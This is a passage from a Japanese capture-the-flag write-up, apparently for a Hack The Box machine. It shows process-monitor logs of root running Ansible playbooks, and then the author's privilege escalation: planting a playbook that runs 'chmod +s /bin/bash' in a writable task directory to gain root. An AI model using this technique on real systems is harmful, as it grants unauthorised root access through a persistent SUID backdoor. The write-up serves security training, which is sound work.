2023/03/17 13:28:03 CMD: UID=0     PID=23906  | /bin/sh -c chmod u+x /root/.ansible/tmp/ansible-tmp-1679059682.9278324-23891-183458739308708/ /root/.ansible/tmp/ansible-tmp-1679059682.9278324-23891-183458739308708/AnsiballZ_setup.py && sleep 0                                                                     
2023/03/17 13:28:03 CMD: UID=0     PID=23907  | sleep 0 
2023/03/17 13:28:03 CMD: UID=0     PID=23908  | /usr/bin/python3 /usr/bin/ansible-playbook /opt/automation/tasks/playbook_1.yml 
2023/03/17 13:28:03 CMD: UID=0     PID=23909  | /bin/sh -c /usr/bin/python3 /root/.ansible/tmp/ansible-tmp-1679059682.9278324-23891-183458739308708/AnsiballZ_setup.py && sleep 0                                                                                                                                       
2023/03/17 13:28:03 CMD: UID=0     PID=23910  | /usr/bin/python3 /root/.ansible/tmp/ansible-tmp-1679059682.9278324-23891-183458739308708/AnsiballZ_setup.py 
2023/03/17 13:28:03 CMD: UID=0     PID=23911  | uname -p 
2023/03/17 13:28:03 CMD: UID=0     PID=23912  | /usr/bin/python3 /root/.ansible/tmp/ansible-tmp-1679059682.9278324-23891-183458739308708/AnsiballZ_setup.py 
2023/03/17 13:28:03 CMD: UID=0     PID=23913  | /usr/bin/python3 -Es /usr/bin/lsb_release -a 
2023/03/17 13:28:03 CMD: UID=0     PID=23914  | 
2023/03/17 13:28:03 CMD: UID=0     PID=23917  | 
2023/03/17 13:28:03 CMD: UID=0     PID=23918  | 
2023/03/17 13:28:03 CMD: UID=0     PID=23919  | 
2023/03/17 13:28:03 CMD: UID=0     PID=23920  | 
2023/03/17 13:28:03 CMD: UID=0     PID=23921  | 
2023/03/17 13:28:03 CMD: UID=0     PID=23922  | 
2023/03/17 13:28:03 CMD: UID=0     PID=23923  | 
2023/03/17 13:28:03 CMD: UID=0     PID=23926  | 
2023/03/17 13:28:03 CMD: UID=0     PID=23927  | 
2023/03/17 13:28:03 CMD: UID=0     PID=23930  | 
2023/03/17 13:28:03 CMD: UID=0     PID=23931  | /usr/bin/python3 /root/.ansible/tmp/ansible-tmp-1679059682.9278324-23891-183458739308708/AnsiballZ_setup.py 
2023/03/17 13:28:03 CMD: UID=0     PID=23932  | /usr/bin/python3 /root/.ansible/tmp/ansible-tmp-1679059682.9278324-23891-183458739308708/AnsiballZ_setup.py 
2023/03/17 13:28:03 CMD: UID=0     PID=23933  | 
2023/03/17 13:28:03 CMD: UID=0     PID=23934  | /usr/bin/python3 /root/.ansible/tmp/ansible-tmp-1679059682.9278324-23891-183458739308708/AnsiballZ_setup.py 
2023/03/17 13:28:03 CMD: UID=0     PID=23935  | /usr/bin/python3 /root/.ansible/tmp/ansible-tmp-1679059682.9278324-23891-183458739308708/AnsiballZ_setup.py 
2023/03/17 13:28:03 CMD: UID=0     PID=23936  | /usr/bin/python3 /root/.ansible/tmp/ansible-tmp-1679059682.9278324-23891-183458739308708/AnsiballZ_setup.py 
2023/03/17 13:28:03 CMD: UID=0     PID=23937  | /usr/bin/python3 /root/.ansible/tmp/ansible-tmp-1679059682.9278324-23891-183458739308708/AnsiballZ_setup.py 
2023/03/17 13:28:03 CMD: UID=0     PID=23938  | 
2023/03/17 13:28:03 CMD: UID=0     PID=23939  | 
2023/03/17 13:28:03 CMD: UID=0     PID=23940  | /usr/bin/python3 /root/.ansible/tmp/ansible-tmp-1679059682.9278324-23891-183458739308708/AnsiballZ_setup.py 
2023/03/17 13:28:03 CMD: UID=0     PID=23941  | /usr/bin/python3 /root/.ansible/tmp/ansible-tmp-1679059682.9278324-23891-183458739308708/AnsiballZ_setup.py 
...省略
```
`playbook_1.yml`実行してはる。Ansibleのインフラ自動化ツールが動いてます。以下のコマンドに注目すると、悪意のあるPlaybook作成で行けそう。
```bash
2023/03/17 13:28:02 CMD: UID=0     PID=23883  | /bin/sh -c /usr/local/bin/ansible-parallel /opt/automation/tasks/*.yml 
```

## Ansible
以下の`playbook.yml`を作成
```yml:playbook.yml
- hosts: localhost
  tasks:
    - name: pre
      shell: "chmod +s /bin/bash"
```
`/opt/automation/tasks`階層にこのファイルを配置する。後は回るのを待つのみ。。
![15.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/1d78ba58-040c-69ff-a83f-b480f452a033.png)
上手くいきました！！！これでRoot権限を奪取できました！！

# まとめ
![スクリーンショット 2023-03-17 232815.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/41e9dca2-777b-bfdc-c54d-1ea33457cfb3.png)
これで特権昇格に成功し、Root権限奪取に成功しました。
今回のBoxは最近横行していたEasyといいつつ難しすぎるBoxではなく、正統派のEasyだった気がします。
お勧めのEasyBoxですね。

今回もセキュリティエンジニアの皆さんの助けになればなと思います。